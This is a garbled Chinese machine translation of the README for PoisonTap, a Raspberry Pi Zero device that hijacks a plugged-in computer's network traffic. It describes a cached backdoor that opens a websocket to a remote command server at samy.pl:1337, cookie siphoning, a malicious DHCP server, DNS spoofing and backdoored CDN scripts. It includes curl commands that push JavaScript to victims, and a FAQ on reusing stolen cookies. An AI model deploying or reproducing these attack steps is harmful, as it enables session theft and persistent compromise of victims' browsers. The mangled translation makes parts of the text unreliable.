backdoor.html - 每當(dāng)一個(gè)http:// hostname / PoisonTap URL被命名為exfiltrate cookies時(shí),這個(gè)文件是作為強(qiáng)制緩存的內(nèi)容返回的。它包含一個(gè)后門,它產(chǎn)生一個(gè)出站的websocket到samy.pl:1337(可調(diào)整到任何主機(jī)/端口),等待命令從服務(wù)器繼續(xù)打開。這意味著當(dāng)您在網(wǎng)站上加載iframe(例如http:// hostname / PoisonTap)時(shí),即使在從機(jī)器中刪除PoisonTap之后,這也是填充的內(nèi)容。
backend_server.js - 這是您在Internet可訪問的服務(wù)器上運(yùn)行的Node.js服務(wù)器。這是backdoor.html連接的(例如,samy.pl:1337)。這是與您連接的命令相同的服務(wù)器,以發(fā)送到您的PoisonTapped小型機(jī)器,例如
#流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #設(shè)置在受害人一個(gè)cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie=“key=value” ' #強(qiáng)制受害者通過ajax加載一個(gè)url(注意,jQuery存儲(chǔ)在后門) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d)\ {console.log(d)\})'
pi_poisontap.js - 這是通過Raspberry Pi Zero上的Node.js運(yùn)行的,是HTTP服務(wù)器,負(fù)責(zé)處理由PoisonTap攔截的任何HTTP請求,存儲(chǔ)虹吸c(diǎn)ookie,并注入緩存的后門。
pi_startup.sh - 在Raspberry Pi Zero啟動(dòng)時(shí)運(yùn)行,以便將設(shè)備設(shè)置為模擬USB以太網(wǎng)小工具,設(shè)置我們的惡意DHCP服務(wù)器,允許流量重新路由,DNS欺騙,并啟動(dòng)pi_poisontap.js以上。
target_backdoor.js - 此文件是與任何CDN相關(guān)的Javascript文件,因此后門他們,例如Google CDN的jQuery網(wǎng)址。
target_injected_xhtmljs.html - 這是在受害者機(jī)器上注入到無意/后臺(tái)HTTP / AJAX請求中的代碼,并產(chǎn)生了整個(gè)攻擊。它的構(gòu)造方式是將其解釋為HTML或Javascript,并仍然執(zhí)行相同的代碼。另外,驚人的HTML5畫布是由令人難以置信的Ara oen CodePen,是太驚人,不包括。這是當(dāng)頁面被PoisonTap接管時(shí)出現(xiàn)的圖形化瘋狂。
poisontap.cookies.log - 一旦用戶的機(jī)器開始向PoisonTap發(fā)送HTTP請求,就會(huì)生成此文件,并將該cookie與瀏覽器及其所屬的相關(guān)聯(lián)的URL /域一起記錄下來。
問:如何添加要退回的其他域?
target_injected_xhtmljs.html
由
getDoms()
函數(shù)設(shè)置。這本身就由
alexa1m.sh
repo根目錄中的腳本填充。如果您希望在此列表中添加其他域名,您可以簡單地修改返回呼叫
getDoms()
。
A:要退回的域列表
問:您如何使用捕獲的Cookie?
A:您可以直接從瀏覽器中的JavaScript控制臺(tái)使用Document.cookie API來設(shè)置Cookie。此StackOverflow文章還提供了一些Chrome特定的建議,例如Cookie檢查器Chrome擴(kuò)展程序。
*請認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。